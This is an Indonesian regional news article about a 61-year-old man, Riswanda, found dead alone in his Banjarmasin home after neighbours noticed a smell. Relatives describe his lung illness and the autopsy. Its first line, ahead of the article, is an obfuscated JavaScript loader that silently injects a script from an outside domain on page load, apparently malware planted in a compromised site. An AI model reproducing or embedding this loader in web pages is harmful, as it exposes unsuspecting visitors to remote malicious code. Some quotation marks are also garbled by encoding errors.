(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Seorang pria ditemukan sudah dalam kondisi terbujur kaku dalam rumahnya di Jalan Cempaka VIII, RT 03, No 11, Kelurahan Mawar, Kecamatan Banjarmasin Tengah, Jumat (21/9) pukul 08.00 Wita. Mayat tersebut diketahui bernama Riswanda (61).
Penemuan mayat tersebut berawal kecurigaan tetangga, karena sudah 10 hari yang bersangkutan tak keluar rumah. Selain itu, di rumahnya juga tercium bau busuk yang menjadi kecurigaan tetangga telah terjadi sesuatu pada pria malang tersebut.
“Kalau kata orang sekitar sudah 10 hari ia tidak keluar rumah dan akhir-akhir ini tercium bau yang tidak sedap yang berasal dari rumahnya†jelas Ridwan, yang masih bertempat tinggal di satu komplek dengan Riswanda.
Warga pun lantas mengintip ke kaca jendela rumah korban. Dan terlihat ternyata Riswanda sudah dalam kondisi meninggal dengan posisi tertelungkup di dalam kelambu. Akhirnya, warga pun mendobrak pintu rumah korban. “Ketika pintu didobrak, bau busuk menyengat langsung keluar,†ujarnya.
Widas, yang merupakan suami dari keponakan Riswanda, mengatakan ia dan adik kandung pria yang meninggal terdebut mendapatkan kabar ini pada pukul 9.00 Wita. “Kami baru tahu jam 9 tadi. Jadi pihak tetangganya menelepon kami. Bilang kalau banyak polisi di depan rumah. Coba didatangi dulu dan cari tahu kenapa. Jadi saya sebagai wakil keluarga yang berangkat. Saat sudah sampai , ternyata beliau (Riswanda) sudah tidak ada,†terangnya.
Adik kandung Riswanda, Hari mengatakan, tanggal 10 September lalu masih berhubungan dengan kakaknya melalui SMS.
Hari mengatakan, dua hari lalu sempat mendatangi rumah Riswanda. Setelah mengetuk rumah, tapi yang bersangkutan tak menjawab. Coba mengecek keadaan sekitar rumah, tetangganya bilang kemungkinan Riswanda tidak ada di rumah. Padahal ketika itu, dia juga sempat mencium adanya bau tak sedap di rumah tersebut.
Sementara Widas menambahkan, mereka mengira bau tersebut berasal dari hewan peliharaan Riswanda yang mati. “Karena beliau itu punya banyak ayam peliharaan, jadi sempat dikira bau itu berasal dari ayam peliharannya,†ungkapnya.
Riswanda sudah tinggal sendiri di rumahnya tersebut hampir 20 tahun. Ia bekerja serabutan. Setiap kali ditanyai mengenai kondisi kesehatannya oleh sang adik, Riswanda selalu berkata kalau ia baik-baik saja.
Namun pihak tetangga sudah sering melaporkan ke keluarganya kalau mereka sering melihat Riswanda mendatangi Puskesmas untuk kontrol dan mengeluhkan sakit paru-paru. â€ÂDia selalu bilang sehat setiap ditanyain kondisinya. Mungkin dia tidak mau membuat keluarga yang lain kepikiran†terang Widas.
Semasa hidupnya, pihak keluarga menawarinya untuk ikut tinggal bersama mereka. “Sudah hampir 20 tahun, sejak orangtuanya pindah ke Jakarta. Namun ia memilih untuk tetap diam di sini†cerita Widas.
Penyebab kematian korban masih diselidiki dan hingga saat ini jenazah masih berada di ruang mayat Rumah Sakit Ulin Banjarmasin. Pihak keluarga bersepakat agar jenazah tidak perlu diotopsi dan mereka juga sudah mengikhlaskan kepergiannya. “Cuma karena ada laporan warga dan sampai ke polisi, jadi harus tetap mengikuti untuk diotopsi luar,†ungkapnya. (mario)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.